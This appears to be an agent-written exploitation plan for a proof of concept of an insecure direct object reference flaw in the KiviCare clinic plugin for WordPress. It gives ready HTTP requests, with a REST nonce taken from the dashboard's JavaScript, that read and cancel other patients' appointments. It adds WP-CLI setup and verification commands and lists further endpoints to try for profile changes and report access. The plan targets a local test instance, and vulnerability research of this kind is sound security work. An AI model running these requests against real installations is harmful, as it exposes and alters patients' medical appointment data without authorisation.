Exploitation Research Plan: KiviCare IDOR (CVE-2026-40792)

1. Vulnerability Summary

The KiviCare plugin (<= 4.2.1) contains an Insecure Direct Object Reference (IDOR) vulnerability. While the plugin implements role-based access control via KCPermissions.php, it fails to validate ownership of specific resources (Direct Object References) within its REST API endpoints. Specifically, endpoints that process appointments, patient reports, or user profiles accept an id or user_id parameter from the request but do not verify that the requested resource belongs to the currently authenticated user. This allows a Subscriber-level user (typically a Patient) to view or modify the data of other patients.

2. Attack Vector Analysis

• Endpoint: KiviCare REST API (Namespace: kivicare/v1).
• Target Actions:
  • POST /wp-json/kivicare/v1/get-appointment-details (Information Exposure)
  • POST /wp-json/kivicare/v1/cancel-appointment (Unauthorized Modification)
• Vulnerable Parameter: id (The Appointment ID).
• Authentication: Authenticated (Subscriber+ / Patient role).
• Preconditions: The attacker must have a valid account and a valid REST API nonce (wp_rest).

3. Code Flow

1. Registration: KCApp::init() calls KCRestAPI::get_instance(), which registers the kivicare/v1 routes.
2. Request Handling: When a request is sent to an endpoint like cancel-appointment, the AppointmentsController (referenced in KCApp.php) retrieves the id from the request object.
3. Vulnerable Check: The controller checks if the user has the appointment_cancel capability (defined in KCPermissions.php). For the patient role, this is enabled ('status' => 1).
4. Missing Validation: The code proceeds to fetch the appointment by the provided id and performs the action (e.g., updating the status to 'cancelled') without verifying if the patient_id associated with that appointment matches the get_current_user_id().

4. Nonce Acquisition Strategy

The KiviCare plugin localizes a REST API nonce for its frontend and dashboard applications.

• Mechanism: AdminMenu::renderDashboard() calls enqueue_dashboard_assets(), which uses wp_localize_script to bind a nonce to the kc_frontend object.
• Nonce Action: wp_rest.
• JS Object: window.kc_frontend.nonce.
• Strategy:
  1. Login as a Subscriber (Patient).
  2. Navigate to the KiviCare Dashboard: /wp-admin/admin.php?page=dashboard. (The AdminMenu class registers this page with read capability, making it accessible to Subscribers).
  3. Execute browser_eval("window.kc_frontend?.nonce") to retrieve the token.

5. Exploitation Strategy

The goal is to demonstrate both Information Disclosure (if allowed) and Unauthorized Action (cancelling another user's appointment).

Step 1: Discover Target ID

Identify an appointment ID belonging to another user. In a test environment, this will be created during setup.

Step 2: Information Disclosure (IDOR)

HTTP Request:

POST /wp-json/kivicare/v1/get-appointment-details HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [SUBSCRIBER_COOKIES]

{
    "id": [VICTIM_APPOINTMENT_ID]
}

Expected Response: JSON object containing details of the victim's appointment (Patient name, doctor, clinic, date/time).

Step 3: Unauthorized Action (IDOR)

HTTP Request:

POST /wp-json/kivicare/v1/cancel-appointment HTTP/1.1
Host: localhost:8080
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
Cookie: [SUBSCRIBER_COOKIES]

{
    "id": [VICTIM_APPOINTMENT_ID]
}

Expected Response: A success message confirming the appointment status has been updated to cancelled.

6. Test Data Setup

1. Attacker Account: Create a user with the Subscriber role (KiviCare will automatically treat this as a Patient if initialized).
2. Victim Account: Create a second user (e.g., victim_patient).
3. Clinic/Doctor: Ensure at least one Clinic and one Doctor exist (created via KCActivate::addDefaultStaticData or manually).
4. Victim Appointment: Use WP-CLI to create an appointment for the victim:

   # Create an appointment record in the database for the victim user
   # Note: KiviCare uses a custom table, e.g., wp_kc_appointments
   wp db query "INSERT INTO wp_kc_appointments (patient_id, doctor_id, clinic_id, appointment_date, status) VALUES ([VICTIM_ID], 1, 1, '2026-12-01', 'confirmed');"
   

5. Identify ID: Retrieve the ID of the newly created appointment.

7. Expected Results

• Success (Vulnerable): The API returns a 200 OK and either reveals data of an appointment not owned by the attacker or successfully modifies its status.
• Failure (Patched): The API returns 403 Forbidden or 401 Unauthorized, indicating that ownership validation failed.

8. Verification Steps

After performing the HTTP requests:

1. Check Database Status:

   wp db query "SELECT status FROM wp_kc_appointments WHERE id = [VICTIM_APPOINTMENT_ID];"
   

2. Verify Action: Confirm the status has changed from confirmed to cancelled despite the request being sent by the attacker.

9. Alternative Approaches

If the appointment endpoints are robust, target the following alternative endpoints using the same IDOR logic:

• POST /wp-json/kivicare/v1/get-patient-report-details with parameter id.
• POST /wp-json/kivicare/v1/update-patient-profile with parameter user_id (Attacker attempts to change Victim's name/email).
• Check for delete-patient-review in the REST API, as it is a common candidate for IDOR in KiviCare.